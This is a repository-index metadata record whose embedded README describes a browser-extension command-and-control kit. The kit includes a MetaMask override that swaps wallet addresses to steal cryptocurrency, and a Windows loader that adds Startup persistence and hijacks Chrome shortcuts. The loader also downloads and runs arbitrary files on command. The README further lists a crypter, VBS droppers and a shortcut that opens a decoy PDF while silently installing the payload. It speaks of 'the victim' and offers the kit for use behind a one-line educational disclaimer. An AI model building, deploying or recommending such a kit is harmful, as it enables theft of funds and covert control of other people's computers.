{"id":29749041,"url":"https://github.com/yuragy/chrome-extension-installer","last_synced_at":"2025-08-12T23:11:50.332Z","repository":{"id":291497922,"uuid":"977806127","full_name":"Yuragy/Chrome-extension-installer","owner":"Yuragy","description":"Chromium extension + loader with command support for system control + 2 Node JS servers","archived":false,"fork":false,"pushed_at":"2025-07-21T09:26:38.000Z","size":138,"stargazers_count":7,"open_issues_count":0,"forks_count":4,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-07-21T11:27:29.791Z","etag":null,"topics":["automation-script","browser-automation","browser-hacking","chrome-api","chrome-devtools","chrome-extension","chromium","developer-tools","extension-installer","extension-loader","extension-management","google-chrome","pentest-tools","web-extension","web-security"],"latest_commit_sha":null,"homepage":"","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Yuragy.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2025-05-05T01:48:51.000Z","updated_at":"2025-07-21T09:26:42.000Z","dependencies_parsed_at":null,"dependency_job_id":"195e3207-db29-4a89-ae31-d2b2d0c802ab","html_url":"https://github.com/Yuragy/Chrome-extension-installer","commit_stats":null,"previous_names":["yuragy/extensionloader"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/Yuragy/Chrome-extension-installer","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Yuragy%2FChrome-extension-installer","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Yuragy%2FChrome-extension-installer/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Yuragy%2FChrome-extension-installer/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Yuragy%2FChrome-extension-installer/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Yuragy","download_url":"https://codeload.github.com/Yuragy/Chrome-extension-installer/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Yuragy%2FChrome-extension-installer/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":270149345,"owners_count":24535728,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-08-12T02:00:09.011Z","response_time":80,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["automation-script","browser-automation","browser-hacking","chrome-api","chrome-devtools","chrome-extension","chromium","developer-tools","extension-installer","extension-loader","extension-management","google-chrome","pentest-tools","web-extension","web-security"],"created_at":"2025-07-26T11:19:12.905Z","updated_at":"2025-08-12T23:11:50.318Z","avatar_url":"https://github.com/Yuragy.png","language":"JavaScript","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Chromium Extension C2 Suite\n\n\u003e **Chromium extension, a separate C2 with a web panel for it.  \n\u003e Loader for the extension that works with the separate C2 + web panel,  \n\u003e and can also work *without* the extension by executing commands and locking into the system.**\n\n---\n\n## Components\n\n1. **extension** – browser extension itself  \n2. **loader** – installer/agent that deploys the extension and executes commands  \n3. **loaderPanel** – server + web panel that control the loader  \n4. **scrypt** – additional utilities  \n5. **server** – server + web panel that control the extension  \n\n---\n\n## Extension Server (server/)\n\n### Authorization Data\n\n- login: admin\n- pass : password\n\n### Device Tracker\n\nDisplays statistics of connected devices:\n\n* **Status** online / offline\n* **Identifier** device tag\n* **URL** of the active tab\n* **Title** of the active tab\n* **Timestamp**\n\n### MetaMask Override\n\n1. Specify 10 preset swap values in configmeta.json.\n2. Successful swaps are logged in a table showing:\n\n   * Device Status\n   * Override Address spoofed destination\n   * Timestamp\n\n### Extension Panel\n\n* Real-time randomizer output shown to the user whether or not it was swapped\n* Enter preset values by groups\n* View history of randomizer swaps\n* See the last generated number\n\n### Settings\n\nChange the panels login/password stored in configpass.json.\n\n---\n\n##  Loader Build / C2 Loader (loader/)\n\n### Installer Commands\n\n* restart_chrome — Restart Chrome on the victim\n* update_extension — Load a new extension, remove the old one\n* delete — Remove itself and all temp data completely\n* load_and_run — Download any file and execute it\n\n### Auth Credentials\n\n```\nlogin : admin\npassword: admin\n```\n\n### MongoDB data storage\n\n| Section           | Features                                                                                                               |\n| ----------------- | ---------------------------------------------------------------------------------------------------------------------- |\n| **Home**          | Filter Online / Offline, search by Device ID \u003cbr\u003eSend commands to a specific device\u003cbr\u003eView device list \u0026 history |\n| **Configuration** | Edit Url Lock / Url Unlock for Xlock page                                                                      |\n\n---\n\n## 🪟 Build Windows – loadWin x64\n\n* Uses winshell, shutil\n* Creates autorun shortcut in Startup\n* Restarts Chrome via .bat\n* Recursively finds every Chrome shortcut and overwrites it\n* Works with temp files in %TEMP%\n\n\u003e *Built-in obfuscator is planned but not finalized.*\n\n### Build Steps\n\n```\n1 – Install PyInstaller\npip install pyinstaller\n\n2 – Build executable\npyinstaller --onefile --add-data \"extension;extension\" loadwin.py\n```\n\n* --add-data \"extension;extension\" embeds the extension directory.\n* Output: dist/loadwin.exe\n* Install all dependencies first\n\n### File Variants\n\n| Script         | Purpose                                                                |\n| -------------- | ---------------------------------------------------------------------- |\n| loadwin.py   | Full version: installs in system, loads extension, awaits all commands |\n| loader.py    | Installs extension only and handles restart_chrome               |\n| load.py      | Same as loadwin.py except no persistence on disk                   |\n| Sample build | See scrypt/exe/                                                      |\n\n\u003e Requires admin rights for stability – runs, but unreliably, without them.\n\n### Runtime Functionality\n\n1. First run: copies extension to %APPDATA%\\.hidden_extension\\extension if absent.\n2. Adds shortcut to Startup %APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup.\n3. Locates every Chrome.lnk and adds --load-extension=\"…\" to the target.\n4. Kills all Chrome processes, waits 3 min, re-launches Chrome via temp .bat.\n5. Polls the server every 30 s for commands:\n\n   * restart_chrome — update shortcuts \u0026 restart\n   * load_and_run — download exe to temp \u0026 run\n   * update_extension — download zip, replace extension, restart\n   * delete — remove extension, autostart shortcut, and the agent itself\n6. delete also kills Chrome and wipes the hidden extension folder.\n\n---\n\n## Quick Start - Loader Panel\n\nInit Node project:\n```\nnpm init -y\n```\nInstall npm check globally:\n```\nnpm install -g npm-check\n```\nInstall missing deps:\n```\nnpm-check --install\n```\nVerify:\n```\nnpm-check --install\n```\nRun:\n```\nnpm start\n```\n\nUses MongoDB – recommended GUI: MongoDB Compass.\n\n---\n\n## Full Pack Scripts (scrypt/)\n\n| Folder      | Description                                                                |\n| ----------- | -------------------------------------------------------------------------- |\n| CVBS      | VBS mods that download \u0026 run install.vbs on various Windows versions     |\n| DropDemo  | Demo crypter for load.exe                                                |\n| exe       | Pre-built load.exe Python + extension packed                           |\n| lnk       | Auto-creates a shortcut that opens a PDF and runs install.vbs silently |\n| LoaderMac | macOS installer demo, WIP, requires admin password                       |\n\n---\n\n## Disclaimer\n\n\u003e This repository is provided for educational purposes only and intended for authorized security research.\n\u003e Unauthorized or illegal use is strictly prohibited.\n\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fyuragy%2Fchrome-extension-installer","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fyuragy%2Fchrome-extension-installer","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fyuragy%2Fchrome-extension-installer/lists"}